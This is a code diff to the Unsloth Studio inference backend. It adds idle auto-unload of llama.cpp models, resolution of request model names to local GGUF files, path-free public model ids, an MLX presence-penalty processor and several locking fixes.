formatted += f"{msg['content']}\n\n"
formatted += f"{content}\n\n"
return formatted
@ -1879,7 +2009,7 @@ class InferenceBackend:
for msg in messages:
role = msg["role"].title()
content = msg["content"]
content = content_to_text(msg["content"])
formatted += f"{role}: {content}\n"
formatted += "Assistant: "

1337
studio/backend/core/inference/llama_cpp.py
View file

File diff suppressed because it is too large Load diff

6
studio/backend/core/inference/llama_http.py
View file

@ -22,11 +22,7 @@ _LIMITS = httpx.Limits(max_connections = 64, max_keepalive_connections = 32)
def _new_client() -> httpx.AsyncClient:
try:
return httpx.AsyncClient(limits = _LIMITS)
except Exception:
# Mirror external_provider: an unsupported env proxy scheme can raise.
return httpx.AsyncClient(limits = _LIMITS, trust_env = False)
return httpx.AsyncClient(limits = _LIMITS, trust_env = False)
# One client per running event loop: an httpx client binds its transport to the

298
studio/backend/core/inference/llama_keepwarm.py Normal file
View file

@ -0,0 +1,298 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Opt-in idle auto-unload (TTL keep-warm) for the local llama.cpp model.
Off by default (idle seconds = 0). When enabled, a background loop unloads the
loaded GGUF once it has been idle for the configured TTL, freeing VRAM. A
pure-ASGI middleware tracks in-flight inference requests so a long stream that
outlives the TTL is never unloaded mid-response.
"""
from __future__ import annotations
import asyncio
import contextlib
import threading
import time
from loggers import get_logger
logger = get_logger(__name__)
_lock = threading.Lock()
_inflight = 0
# Requests blocked on the unload gate but not yet counted in _inflight: the idle
# loop must not unload while one is waiting (it would unload out from under it).
_pending = 0
_last_active = time.monotonic()
# The (id, quant) idle-unload last freed, so an alias/unknown request that would
# otherwise 503 against an empty backend can reload it (set on unload, cleared on
# reload). Storing the quant means the reload restores the exact freed variant.
_last_unloaded_model = None
# Guards inflight bumps against the idle-check-then-unload race, and blocks new
# inference from starting mid-swap. Process-wide, not per-loop: the backend slot is
# shared across every event loop in the process, so a per-loop gate would let a
# request on loop B start inference while a swap on loop A tears the model down.
_lifecycle_lock = threading.Lock()
@contextlib.asynccontextmanager
async def _unload_gate():
# Acquire off the loop: non-blocking first (the common uncontended case), else
# poll a non-blocking acquire off a short sleep. Polling keeps the wait off this
# loop AND cancellation-safe -- a cancel lands during the sleep, when the gate is
# not held, so it never leaks (mirrors the auto-switch swap gate).
while not _lifecycle_lock.acquire(blocking = False):
await asyncio.sleep(0.02)
try:
yield
finally:
_lifecycle_lock.release()
_INFERENCE_PREFIXES = ("/v1/", "/api/inference/")
_INFERENCE_SUFFIXES = (
"/chat/completions",
"/completions",
"/messages",
"/messages/count_tokens", # counts via the loaded tokenizer; protect like /messages
"/embeddings",
"/responses",
"/generate/stream", # Studio's own streaming route on the same llama-server
"/audio/generate", # direct GGUF TTS; can outlive the idle TTL
)
def _is_inference_path(path: str) -> bool:
if path.startswith(_INFERENCE_PREFIXES) and path.endswith(_INFERENCE_SUFFIXES):
return True
# Public checkpoint preview (/p/{run}/v1/chat/completions) delegates to the
# chat handler and streams from the same backend, so protect it from idle unload.
return path.startswith("/p/") and path.endswith("/v1/chat/completions")
def _note_pending() -> None:
global _pending
with _lock:
_pending += 1
def _note_unpending() -> None:
global _pending
with _lock:
_pending = max(0, _pending - 1)
def _note_start() -> None:
# Do not stamp _last_active here: while _inflight > 0 the model is already
# protected (see _is_idle), and stamping on start lets an external-provider
# request that is later untracked still reset the local idle timer.
global _inflight, _pending
with _lock:
_pending = max(0, _pending - 1)
_inflight += 1
def _note_end() -> None:
global _inflight, _last_active
with _lock:
_inflight = max(0, _inflight - 1)
_last_active = time.monotonic()
def _note_untracked_end() -> None:
# Drop a request that never used the local GGUF without stamping local
# activity, so periodic external-provider traffic can't keep the model warm.
global _inflight
with _lock:
_inflight = max(0, _inflight - 1)
def _is_idle(ttl_seconds: float) -> bool:
with _lock:
return _inflight == 0 and _pending == 0 and (time.monotonic() - _last_active) >= ttl_seconds
def _note_activity() -> None:
"""Stamp activity, e.g. on a (re)load, so the model survives at least one TTL."""
global _last_active
with _lock:
_last_active = time.monotonic()
def other_inference_request_count(
current_request_counted: bool = True, *, include_pending: bool = True
) -> int:
"""Tracked inference requests other than the current route call.
The middleware counts OpenAI-compatible requests before route code runs, so
the caller is excluded by default. Idle-unload counts pending waiters too (a
swap holding the gate would unload out from under them). The swap guard passes
include_pending=False: a pending request is blocked in the middleware and has
not started inference, so it can't be the request a swap would interrupt.
"""
with _lock:
active = _inflight
if current_request_counted and active > 0:
active -= 1
return max(0, active) + (_pending if include_pending else 0)
# Set on the ASGI scope by a route that proved this request won't touch
# llama.cpp (e.g. it proxied to an external provider), so the keep-warm count
# excludes it and the middleware skips its own end-decrement.
_UNTRACKED_SCOPE_KEY = "_unsloth_keepwarm_untracked"
def untrack_current_request(scope) -> None:
"""Drop this request from the in-flight count once the route knows it won't
use the local GGUF, so unrelated external-provider traffic can't trip the
swap busy guard. Idempotent; the middleware then skips its end-decrement."""
if not isinstance(scope, dict) or scope.get(_UNTRACKED_SCOPE_KEY):
return
scope[_UNTRACKED_SCOPE_KEY] = True
_note_untracked_end()
def inference_lifecycle_gate():
"""The gate a model swap holds so new inference can't start mid-load. Process-
wide, so a swap on one loop blocks inference starting on any other loop."""
return _unload_gate()
def note_model_loaded() -> None:
"""Record a successful GGUF load: stamp activity and drop any reload stash so
a manual load clears it synchronously, not only on the next idle poll."""
_note_activity()
_set_last_unloaded(None)
def note_model_unloaded() -> None:
"""Record a deliberate (user/API) unload: drop any idle reload stash so the next
request can't resurrect the just-unloaded model. The idle loop unloads via the
backend directly and then stashes the freed model for an alias reload; an
explicit unload instead means "stay unloaded", so it must not stamp activity."""
_set_last_unloaded(None)
def get_last_unloaded_model():
with _lock:
return _last_unloaded_model
def _set_last_unloaded(value) -> None:
global _last_unloaded_model
with _lock:
_last_unloaded_model = value
class LlamaKeepWarmMiddleware:
"""Pure ASGI: count in-flight inference requests and stamp activity on completion."""
def __init__(self, app):
self.app = app
async def __call__(self, scope, receive, send):
# Inference endpoints are all POST; skipping non-POST avoids counting CORS
# preflight (OPTIONS). ``or ""`` guards an explicit None path.
if (
scope.get("type") != "http"
or scope.get("method") != "POST"
or not _is_inference_path(scope.get("path") or "")
):
await self.app(scope, receive, send)
return
# Always track in-flight on inference paths, even when the feature is off,
# so a stream that starts before idle-unload is enabled can't be unloaded
# mid-response if the operator turns it on during that stream. Counting is
# cheap and invisible to clients (the response is proxied unchanged).
# Mark pending before the gate so the idle loop (which holds the gate while
# unloading) can't free the model while this request is waiting to start.
_note_pending()
started = False
try:
async with _unload_gate():
_note_start()
started = True
finally:
if not started:
_note_unpending()
ended = {"done": False}
status = {"code": None}
def _finish() -> None:
# A route that untracked itself already decremented; don't double-count.
if ended["done"]:
return
ended["done"] = True
if scope.get(_UNTRACKED_SCOPE_KEY):
return
# This middleware runs before FastAPI auth, so a 401/403 reaches here
# without ever touching llama.cpp. Decrement the in-flight count (to
# balance _note_start) but do NOT stamp activity, or repeated
# unauthenticated probes on an exposed server would keep the model warm
# and never let idle-unload free VRAM.
if status["code"] in (401, 403):
_note_untracked_end()
else:
_note_end()
async def send_wrapper(message):
if message.get("type") == "http.response.start":
status["code"] = message.get("status")
# Final body frame marks the end of a (possibly streaming) response.
elif message.get("type") == "http.response.body" and not message.get(
"more_body", False
):
_finish()
await send(message)
try:
await self.app(scope, receive, send_wrapper)
finally:
_finish()
def _loaded_identity(backend):
if not backend.is_loaded or not backend.model_identifier:
return None
# Third slot is the advertised id (repo id) an auto-switch load sets on the
# backend; it's the override key, so an idle stash keyed by the concrete load
# path doesn't drop the user's saved launch flags on the alias reload.
advertised = getattr(backend, "_openai_advertised_id", None) or backend.model_identifier
return (backend.model_identifier, getattr(backend, "hf_variant", None), advertised)
async def idle_unload_loop(poll_seconds: float = 15.0) -> None:
"""Unload the loaded GGUF once idle past the configured TTL. Inert when off."""
from utils.openai_auto_switch_settings import get_auto_unload_idle_seconds
seen_model = None
while True:
await asyncio.sleep(poll_seconds)
try:
ttl = get_auto_unload_idle_seconds()
if ttl <= 0:
continue
from routes.inference import get_llama_cpp_backend
backend = get_llama_cpp_backend()
# Track by (id, variant): a (re)loaded model -- including the same repo
# at a different quant -- counts as activity so it survives one TTL
# before its first request (loads bypass the activity middleware).
current = _loaded_identity(backend)
if current != seen_model:
seen_model = current
if current is not None:
_note_activity()
_set_last_unloaded(None) # a model is loaded; drop stale stash
async with _unload_gate():
if backend.is_loaded and _is_idle(ttl):
freed = _loaded_identity(backend)
await asyncio.to_thread(backend.unload_model)
_set_last_unloaded(freed) # let an alias request reload it
logger.info("Idle auto-unload: freed GGUF after %ss idle", ttl)
seen_model = None
except Exception as exc:
logger.debug("idle_unload_loop iteration failed: %s", exc)

5
studio/backend/core/inference/llama_server_args.py
View file

@ -25,6 +25,11 @@ _DENYLIST_GROUPS: tuple[frozenset[str], ...] = (
# Model identity: Studio resolves it from LoadRequest; a second -m would
# load a different model than Studio thinks it loaded.
frozenset({"-m", "--model"}),
# Public model id: Studio sets a sanitized --alias so the OpenAI API never
# exposes the local .gguf path. A user-supplied alias is appended after
# Studio's and, with llama.cpp's last-wins parsing, would reintroduce the
# path leak this is meant to prevent.
frozenset({"-a", "--alias"}),
frozenset({"-mu", "--model-url"}),
frozenset({"-dr", "--docker-repo"}),
frozenset({"-hf", "-hfr", "--hf-repo"}),

269
studio/backend/core/inference/local_model_resolver.py Normal file
View file

@ -0,0 +1,269 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Resolve an OpenAI-request ``model`` string to a downloaded local GGUF.
Used by the opt-in auto-switch path. The match is conservative: only names
that map to an already-downloaded local GGUF (and a quant that is actually on
disk) are eligible, so an arbitrary OpenAI model string still falls through to
the loaded model (drop-in compat) and no surprise multi-GB download is ever
triggered. The local-model scan is cached for a few seconds since auto-switch
consults it per request.
"""
from __future__ import annotations
import threading
import time
from dataclasses import dataclass
from typing import Optional
from core.inference.model_ids import public_model_id
from loggers import get_logger
logger = get_logger(__name__)
@dataclass(frozen = True)
class _LocalGgufEntry:
loader_id: str # advertised id (repo id / folder name), also the override key
load_path: str # concrete on-disk dir/file passed to /load so it never downloads
variants: tuple[str, ...] # local quant labels; () for a standalone .gguf
_CACHE_TTL_S = 5.0
_lock = threading.Lock()
_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {})
def _is_abs_path_id(value: str) -> bool:
"""True when an id is an absolute filesystem path (the ./models and LM Studio
scanners use the on-disk path as the id) rather than a repo id like org/name."""
from pathlib import Path
try:
return Path(value).is_absolute()
except Exception:
return False
def _advertised_loader_id(info) -> Optional[str]:
"""The id to advertise for a scanned model: prefer a client-facing alias over
an absolute filesystem path so /v1/models and the override key never expose a
host path (the ./models and LM Studio scanners report the path as info.id)."""
raw_id = getattr(info, "id", None)
if not raw_id or not _is_abs_path_id(raw_id):
return raw_id
for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)):
if alt and not _is_abs_path_id(alt):
return alt
# No clean alias: strip to a path-free public id so a host path is never advertised.
return public_model_id(raw_id) or raw_id
def _resolve_load_dir(p):
"""The concrete dir holding the GGUFs. For an HF cache repo (``models--*``
with ``snapshots/``) this is the latest snapshot dir, so /load takes the
local branch instead of the download-capable repo-id branch."""
from pathlib import Path
try:
if (p / "snapshots").is_dir():
from routes.models import _resolve_hf_cache_realpath
real = _resolve_hf_cache_realpath(p)
if real:
return Path(real)
except Exception:
pass
return p
def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]:
"""Build an entry only when GGUF quants are on disk (not Transformers/
safetensors), listing only on-disk quants. ``load_path`` is a concrete local
path so /load resolves the variant locally and never fetches a remote one."""
from pathlib import Path
from utils.models.model_config import _is_mmproj, list_local_gguf_variants
path = getattr(info, "path", None)
if not isinstance(path, str):
return None
p = Path(path)
try:
if p.is_file():
# A standalone .gguf loads by its own path; no quant sub-selection. An
# mmproj companion (vision/audio projector) is not a servable model on
# its own: _scan_models_dir's standalone-file pass does not filter it
# the way the directory scan does, so reject it here or /v1/models would
# advertise a projector and a switch could load it instead of the weights,
# evicting the loaded model. The directory branch below is already mmproj
# free (list_local_gguf_variants drops mmproj quants).
if p.suffix.lower() != ".gguf" or _is_mmproj(p.name):
return None
return _LocalGgufEntry(loader_id, str(p), ())
load_dir = _resolve_load_dir(p)
variants, _ = list_local_gguf_variants(str(load_dir))
quants = tuple(v.quant for v in variants if getattr(v, "quant", None))
return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None
except Exception:
return None
def info_has_local_gguf(info) -> bool:
"""True when *info* (a LocalModelInfo) points to on-disk GGUF weights the
auto-switch path can load. Read from the files, not ``info.model_format``: the
HF-cache scanner leaves model_format unset for GGUF snapshots, so a
model_format filter would drop every cached GGUF. Lets /v1/models advertise
exactly what /v1 can serve."""
from pathlib import Path
path = getattr(info, "path", None)
# Ollama-link entries come from a scanner _build_index intentionally skips (it
# creates symlinks on the request path), so their advertised ids never resolve.
# Don't report them as servable, or /v1/models would list unswitchable models.
if isinstance(path, str) and any(
seg in (".studio_links", "ollama_links") for seg in Path(path).parts
):
return False
return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None
def _build_index() -> dict[str, _LocalGgufEntry]:
"""Map normalized id/model_id/display_name -> local GGUF entry.
Scans the same roots Studio's model picker lists (./models, the active plus
legacy/default HF caches, LM Studio dirs, and user scan folders) so a named
local model is never missed and silently served as the loaded one. Ollama's
scanner is skipped: it creates symlinks as a side effect and this runs on the
request path.
"""
# Lazy import: routes.models imports core.inference, so import at call time.
from pathlib import Path
from routes.models import (
_scan_models_dir,
_scan_hf_cache,
_scan_lmstudio_dir,
_resolve_hf_cache_dir,
_is_hidden_model,
)
from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs
index: dict[str, _LocalGgufEntry] = {}
seen_hf: set[str] = set()
def _scan_hf_once(directory) -> list:
if directory is None:
return []
try:
d = Path(directory)
if not d.is_dir():
return []
rp = str(d.resolve())
if rp in seen_hf:
return []
seen_hf.add(rp)
return _scan_hf_cache(directory)
except Exception as exc: # a missing/malformed root must skip, never crash the index
logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc)
return []
# Each source is guarded on its own so one bad root (a permission error, a
# malformed cache) drops only that source, not the whole index.
found: list = []
try:
found += _scan_models_dir(Path("./models").resolve())
except Exception as exc:
logger.debug("auto-switch: ./models scan failed: %s", exc)
try:
for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()):
found += _scan_hf_once(hf_dir)
except Exception as exc:
logger.debug("auto-switch: HF cache scan failed: %s", exc)
try:
for lm_dir in lmstudio_model_dirs():
found += _scan_lmstudio_dir(lm_dir)
except Exception as exc:
logger.debug("auto-switch: LM Studio scan failed: %s", exc)
try:
from storage.studio_db import list_scan_folders
for folder in list_scan_folders():
try:
fp = Path(folder["path"])
found += (
_scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp)
)
except Exception as exc:
logger.debug("auto-switch: scan folder %r failed: %s", folder, exc)
except Exception as exc:
logger.debug("auto-switch: scan folders enumerate failed: %s", exc)
for info in found:
raw_id = getattr(info, "id", None)
if not raw_id:
continue
# Skip what Studio hides from its pickers (validation probe, RAG embed
# weights): not chat models, so never an auto-switch target.
if _is_hidden_model(raw_id, getattr(info, "path", None)):
continue
# Advertise a client-facing alias, not an absolute filesystem path.
loader_id = _advertised_loader_id(info)
entry = _local_gguf_entry(loader_id, info)
if entry is None:
continue
# Index every alias (including the path) so a client can resolve by any of
# them, even though only the non-path loader_id is advertised.
for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)):
if key:
index.setdefault(key.strip().lower(), entry)
return index
def _index() -> dict[str, _LocalGgufEntry]:
global _scan
# Build under the lock so concurrent callers with an expired cache don't all
# run the (multi-dir) scan at once; the rest wait and reuse the fresh result.
with _lock:
now = time.monotonic()
ts, cached = _scan
if now - ts < _CACHE_TTL_S:
return cached
fresh = _build_index()
# Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on
# an install with many local models can itself exceed the TTL, which would
# store the cache already expired and make every request rebuild the index.
_scan = (time.monotonic(), fresh)
return fresh
def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]:
"""Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None.
``load_path`` is the concrete on-disk path to hand /load (so it never fetches
a remote), ``loader_id`` is the advertised id used as the launch-override key.
``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first
(so ids containing a colon still resolve); else the last ``:VARIANT`` is split
off and resolves only when that quant is on disk.
"""
if not isinstance(requested, str) or not requested.strip():
return None
requested = requested.strip()
try:
index = _index()
entry = index.get(requested.lower())
if entry is not None:
variant = entry.variants[0] if entry.variants else None
return entry.load_path, variant, entry.loader_id
base, sep, variant = requested.rpartition(":")
if not sep:
return None
entry = index.get(base.strip().lower())
if entry is None:
return None
wanted = variant.strip().lower()
for v in entry.variants:
if v.lower() == wanted:
return entry.load_path, v, entry.loader_id
return None
except Exception:
# Best-effort: any resolver failure falls through to the loaded model,
# so a malformed name can never turn a servable request into a 500.
return None

38
studio/backend/core/inference/message_content.py Normal file
View file

@ -0,0 +1,38 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Normalize chat-message `content` (string or OpenAI multimodal list) to text.
String-only formatting paths called string ops directly on `content` and broke
on the list form (#4383). `content_to_text` collapses either shape to a string,
dropping non-text parts. No heavy imports, so it is unit-testable alone.
"""
from __future__ import annotations
from typing import Any
def content_to_text(content: Any) -> str:
"""Plain text of a `content`: str unchanged, list/tuple text parts newline-joined
(non-text dropped), None to "", else str(content)."""
if content is None:
return ""
if isinstance(content, str):
return content
if isinstance(content, (list, tuple)):
parts = []
for item in content:
if isinstance(item, str):
if item:
parts.append(item)
elif isinstance(item, dict):
# Skip non-text parts (image_url, input_audio, ...).
part_type = item.get("type")
if part_type is not None and part_type != "text":
continue
text = item.get("text")
if isinstance(text, str) and text:
parts.append(text)
return "\n".join(parts)
return str(content)

112
studio/backend/core/inference/mlx_inference.py
View file

@ -41,6 +41,50 @@ def _build_generation_stats(prompt_n, prompt_tps, gen_n, gen_tps):
}
def _make_mlx_presence_penalty_processor(penalty: float):
"""Presence penalty as an mlx_lm/mlx_vlm logits processor, matching the safetensors path.
generate_step calls processors as ``fn(tokens, logits)`` with ``tokens`` the
full running sequence; the first call is prompt-only, so latch that length
and penalize only after it.
"""
state = {"prompt_len": None}
def _processor(tokens, logits):
if state["prompt_len"] is None:
# First call = prompt only; latch its length.
state["prompt_len"] = int(tokens.shape[0])
return logits
generated = tokens[state["prompt_len"] :]
if generated.size == 0:
return logits
import mlx.core as mx
vocab = logits.shape[-1]
# Bound generated ids to the valid range [0, vocab) before they index
# logits. MLX does no bounds checking and out-of-bounds indexing is
# documented undefined behavior (crash / memory corruption), unlike the
# torch path's harmless negative wrap -- so this bound is load-bearing
# here and matches the torch filter seen[(seen >= 0) & (seen < vocab)].
# MLX has no boolean-mask filtering (data-dependent output shape is
# unsupported), so instead of compacting the id list we route every
# out-of-range or negative id to a scratch slot at index ``vocab`` that
# is dropped before the subtract. That scratch slot can never collide
# with a real token, so real ids (including id 0) are penalized exactly
# once and stray ids are ignored.
valid = (generated >= 0) & (generated < vocab)
safe = mx.where(valid, generated, vocab).astype(mx.int32)
# Scatter-assign a scalar penalty into a (vocab + 1)-wide mask: duplicate
# ids are idempotent, so presence applies once per distinct token; the
# scratch column is discarded and the full-width subtract stays on-device.
mask = mx.zeros((vocab + 1,), dtype = logits.dtype)
mask[safe] = penalty
logits = logits - mask[:vocab]
return logits
return _processor
class MLXInferenceBackend:
def __init__(self):
self.models = {}
@ -104,6 +148,9 @@ class MLXInferenceBackend:
) -> bool:
import mlx.core as mx
# Keep the token so the native-template fallback can fetch a
# gated model's repo template later during generation.
self._hf_token = hf_token
model_name = config.identifier if hasattr(config, "identifier") else str(config)
is_vision = getattr(config, "is_vision", False)
@ -168,11 +215,20 @@ class MLXInferenceBackend:
self.active_model_name = model_name
self.models[model_name] = {
# Per-model token for the native-template fallback (matches transformers).
"hf_token": hf_token,
# Per-model consent for the native-template reload: re-use the exact
# trust_remote_code this model was loaded with (matches transformers).
"trust_remote_code": trust_remote_code,
"model": self._model,
"tokenizer": self._tokenizer,
"processor": self._processor,
"is_vision": is_vision,
"is_lora": getattr(config, "is_lora", False),
# For a LoRA adapter the native chat template lives on the base model.
"base_model": getattr(config, "base_model", None)
if getattr(config, "is_lora", False)
else None,
"is_audio": False,
"audio_type": None,
"has_audio_input": False,
@ -270,6 +326,7 @@ class MLXInferenceBackend:
enable_thinking = None,
reasoning_effort = None,
preserve_thinking = None,
presence_penalty = 0.0,
) -> Generator[str, None, None]:
if self._model is None:
raise RuntimeError("No model loaded")
@ -317,6 +374,7 @@ class MLXInferenceBackend:
enable_thinking = enable_thinking,
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
presence_penalty = presence_penalty,
)
else:
yield from self._generate_text(
@ -332,6 +390,7 @@ class MLXInferenceBackend:
enable_thinking = enable_thinking,
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
presence_penalty = presence_penalty,
)
def _generate_text(
@ -349,12 +408,14 @@ class MLXInferenceBackend:
enable_thinking = None,
reasoning_effort = None,
preserve_thinking = None,
presence_penalty = 0.0,
):
from mlx_lm import stream_generate
from mlx_lm.sample_utils import make_sampler, make_logits_processors
from core.inference.chat_template_helpers import (
apply_chat_template_for_generation,
render_with_native_template_fallback,
)
prompt = apply_chat_template_for_generation(
@ -368,6 +429,25 @@ class MLXInferenceBackend:
if prompt is None:
raise RuntimeError("apply_chat_template returned None — tokenizer may be incompatible")
# Same parity fix as the transformers backend: if the template dropped the
# requested tools, fall back to the native template so MLX text models keep
# advertising them. ``self._tokenizer`` is this entry's model_info tokenizer,
# so probe and native render share a renderer. (The VLM path renders via the
# processor for image tokens and is intentionally not wired here.)
model_info = self.models.get(self.active_model_name, {})
prompt = render_with_native_template_fallback(
formatted_prompt = prompt,
tokenizer = self._tokenizer,
model_info = model_info,
active_model_name = self.active_model_name,
messages = messages,
tools = tools,
enable_thinking = enable_thinking,
reasoning_effort = reasoning_effort,
preserve_thinking = preserve_thinking,
hf_token = model_info.get("hf_token"),
)
sampler = make_sampler(
temp = temperature,
top_p = top_p,
@ -375,15 +455,21 @@ class MLXInferenceBackend:
min_p = float(min_p or 0.0),
min_tokens_to_keep = 1,
)
# Only build a logits processor for a non-trivial repetition penalty.
logits_processors = None
# Repetition and/or presence penalty processors (parity with the GGUF/safetensors paths).
logits_processors = []
if repetition_penalty is not None and float(repetition_penalty) not in (
0.0,
1.0,
):
logits_processors = make_logits_processors(
repetition_penalty = float(repetition_penalty),
logits_processors.extend(
make_logits_processors(
repetition_penalty = float(repetition_penalty),
)
)
if presence_penalty:
logits_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty)))
if not logits_processors:
logits_processors = None
token_ids = []
logger.info(
@ -449,6 +535,7 @@ class MLXInferenceBackend:
enable_thinking = None,
reasoning_effort = None,
preserve_thinking = None,
presence_penalty = 0.0,
):
from mlx_vlm import stream_generate as vlm_stream
@ -496,10 +583,23 @@ class MLXInferenceBackend:
top_k = int(top_k or 0),
min_p = float(min_p or 0.0),
)
if repetition_penalty is not None and float(repetition_penalty) not in (
_rep_active = repetition_penalty is not None and float(repetition_penalty) not in (
0.0,
1.0,
):
)
if presence_penalty:
# Presence needs a custom processor: pass the full list (repetition +
# presence) instead of the repetition_penalty shortcut so both apply once.
from mlx_lm.sample_utils import make_logits_processors
_vlm_processors = []
if _rep_active:
_vlm_processors.extend(
make_logits_processors(repetition_penalty = float(repetition_penalty))
)
_vlm_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty)))
vlm_kwargs["logits_processors"] = _vlm_processors
elif _rep_active:
vlm_kwargs["repetition_penalty"] = float(repetition_penalty)
with self._generation_lock:

71
studio/backend/core/inference/model_ids.py Normal file
View file

@ -0,0 +1,71 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Public model identifiers for the OpenAI-compatible API.
The exposed API must report a stable, clean model id rather than the absolute
on-disk path of a local GGUF. The internal identifier for a direct local load is
the absolute ``.gguf`` path, which leaks the host filesystem layout and is
awkward for clients to round-trip. ``public_model_id`` maps such an internal
identifier to a clean name while leaving Hugging Face repo ids (``org/model``)
and already-clean names untouched.
"""
from __future__ import annotations
import os
from typing import Optional
_GGUF_SUFFIX = ".gguf"
def _looks_like_path(identifier: str) -> bool:
"""True when *identifier* is a local filesystem path, not a HF repo id.
A repo id is ``org/model`` (a single forward slash, no leading separator, no
drive, no ``.gguf``). Anything ending in ``.gguf``, starting with a path
separator or a relative/home prefix (``./``, ``../``, ``~``), carrying a
Windows drive, or with three or more ``/`` segments is treated as a local
path.
"""
if identifier.lower().endswith(_GGUF_SUFFIX):
return True
if identifier.startswith(("/", "\\", "./", "../", ".\\", "..\\", "~")):
return True
if len(identifier) >= 2 and identifier[1] == ":": # Windows drive, e.g. C:\
return True
if identifier.count("/") >= 2 or "\\" in identifier:
return True
return False
def public_model_id(identifier: Optional[str]) -> Optional[str]:
"""Return a clean, path-free public id for *identifier*.
- Local GGUF path -> the file stem with ``.gguf`` stripped, e.g.
``/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf`` -> ``Qwen3-30B-A3B-Q4_K_M``.
- HF repo id (``org/model``) and already-clean names -> returned unchanged.
- ``None`` / empty -> returned unchanged.
"""
if not identifier:
return identifier
if not _looks_like_path(identifier):
return identifier
name = os.path.basename(identifier.replace("\\", "/").rstrip("/"))
if name.lower().endswith(_GGUF_SUFFIX):
name = name[: -len(_GGUF_SUFFIX)]
return name or identifier
def model_id_matches(requested: Optional[str], internal: Optional[str]) -> bool:
"""Whether a client-supplied *requested* id refers to *internal*.
Accepts the clean public id (preferred) and, for backward compatibility, the
raw internal identifier (e.g. a legacy absolute path a client cached from an
older ``/v1/models`` response).
"""
if requested is None or internal is None:
return False
if requested == internal:
return True
return public_model_id(internal) == requested

541
studio/backend/core/inference/orchestrator.py
View file

@ -45,6 +45,10 @@ _DISPATCH_STOP_TIMEOUT = 5.0
_DISPATCH_IDLE_TIMEOUT = 30.0
_DISPATCH_DRAIN_TIMEOUT = 5.0
# Max wait for a cancelled generation to release _gen_lock before unload_model
# tears the subprocess down. Only bounds a wedged worker.
_UNLOAD_GEN_LOCK_TIMEOUT = 15.0
class InferenceOrchestrator:
"""
@ -60,7 +64,13 @@ class InferenceOrchestrator:
self._cmd_queue: Any = None
self._resp_queue: Any = None
self._cancel_event: Any = None # mp.Event — set to cancel generation
# Set for the whole unload; the worker never clears it (unlike _cancel_event),
# so a generate queued behind the cancelled one is skipped, not run.
self._drain_event: Any = None
self._gen_lock = threading.Lock() # Serializes generation
# Set during a switch so a generation winning the _gen_lock handoff bails
# instead of starting on the outgoing model.
self._unload_pending = False
# Dispatcher state for compare mode (adapter-controlled requests):
# bypass _gen_lock, send commands directly, read from per-request
@ -69,6 +79,12 @@ class InferenceOrchestrator:
self._mailbox_lock = threading.Lock()
self._dispatcher_thread: Optional[threading.Thread] = None
self._dispatcher_stop = threading.Event()
# Serializes dispatcher start/stop. _generate_dispatched (compare mode) bypasses
# _gen_lock, so two concurrent compare requests can both reach _start_dispatcher;
# without this lock both could observe no live dispatcher and each spawn one,
# orphaning the extra thread (self._dispatcher_thread tracks only the last). The
# orphan later steals the "unloaded" reply off resp_queue and hangs unload_model.
self._dispatcher_lifecycle_lock = threading.Lock()
# Local state mirrors (updated from subprocess responses)
self.active_model_name: Optional[str] = None
@ -159,6 +175,7 @@ class InferenceOrchestrator:
self._cmd_queue = _CTX.Queue()
self._resp_queue = _CTX.Queue()
self._cancel_event = _CTX.Event()
self._drain_event = _CTX.Event()
self._proc = _CTX.Process(
target = run_without_native_path_secret,
@ -167,6 +184,7 @@ class InferenceOrchestrator:
"cmd_queue": self._cmd_queue,
"resp_queue": self._resp_queue,
"cancel_event": self._cancel_event,
"drain_event": self._drain_event,
"config": config,
},
daemon = True,
@ -228,6 +246,7 @@ class InferenceOrchestrator:
self._cmd_queue = None
self._resp_queue = None
self._cancel_event = None
self._drain_event = None
logger.info("Inference subprocess shut down")
def _cleanup(self):
@ -409,6 +428,7 @@ class InferenceOrchestrator:
enable_thinking: Optional[bool] = None,
reasoning_effort: Optional[str] = None,
preserve_thinking: Optional[bool] = None,
presence_penalty: float = 0.0,
) -> dict:
"""Build the 'generate' command shared by the locked and dispatched paths."""
cmd = {
@ -423,6 +443,7 @@ class InferenceOrchestrator:
"min_p": min_p,
"max_new_tokens": max_new_tokens,
"repetition_penalty": repetition_penalty,
"presence_penalty": presence_penalty,
}
# Only forward template kwargs the caller set, for older worker compat.
if use_adapter is not None:
@ -456,7 +477,15 @@ class InferenceOrchestrator:
cancel ack from that same source so stale events don't leak into the
next request.
"""
# Latch this stream's subprocess/queue: if a wedged worker is torn down and a
# later load spawns a fresh one, bail rather than re-block on the new queue
# under _gen_lock (deadlock).
initial_proc = self._proc
initial_resp_queue = self._resp_queue
while True:
if self._proc is not initial_proc or self._resp_queue is not initial_resp_queue:
yield f"Error: {self._subprocess_crash_message(crash_context)}"
return
resp = read_one(read_timeout)
if resp is None:
# Check subprocess health
@ -493,33 +522,56 @@ class InferenceOrchestrator:
